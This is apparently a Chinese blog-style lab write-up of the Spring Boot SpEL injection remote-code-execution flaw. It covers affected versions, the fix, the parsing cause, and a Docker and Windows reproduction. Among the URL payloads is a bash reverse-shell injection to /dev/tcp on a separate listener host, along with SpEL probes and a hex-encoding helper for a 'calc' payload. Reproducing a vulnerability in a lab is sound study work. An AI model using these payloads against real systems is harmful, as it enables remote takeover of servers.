目录
影响版本:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0
修复方案:升至1.3.1或以上版本
我的测试环境:SpringBoot 1.0
简介
Spring Expression Language是一种强大的表达式语言,Spring开发中经常会用到。正是因为功能强大,导致在某些情况下,用户可以从外部注入SpEl表达,导致命令执行。
原理
- spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
- 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析。
- 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞。
linux 【centos7 x64】
[root@localhost ~]# docker pull c1o2a3/springboot_spel_rce_bug:1.0
[root@localhost ~]# sudo docker run -d -p 9091:9091 c1o2a3/springboot_spel_rce_bug:1.0
http://192.168.18.131:9091/article?id=1
http://192.168.18.131:9091/article?id=${20/4}
扫描二维码关注公众号,回复:
11978129 查看本文章
直接使用反弹shell----不可以
http://192.168.18.131:9091/article?id=${bash%20-i%20%3E&%20/dev/tcp/192.168.18.168/443%200%3E&1}
windows 7 32位
jar包的需要jre1.8环境运行
https://www.oracle.com/java/technologies/javase-jre8-downloads.html
springboot-spel-rce-1.0-SNAPSHOT.jar 上网搜索下载
http://192.168.18.129:9091/article?id=1
http://192.168.18.129:9091/article?id=${40*5}
# coding: utf-8
result = ""
target = 'calc'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
root@kali:~# python vb.py
0x63,0x61,0x6c,0x63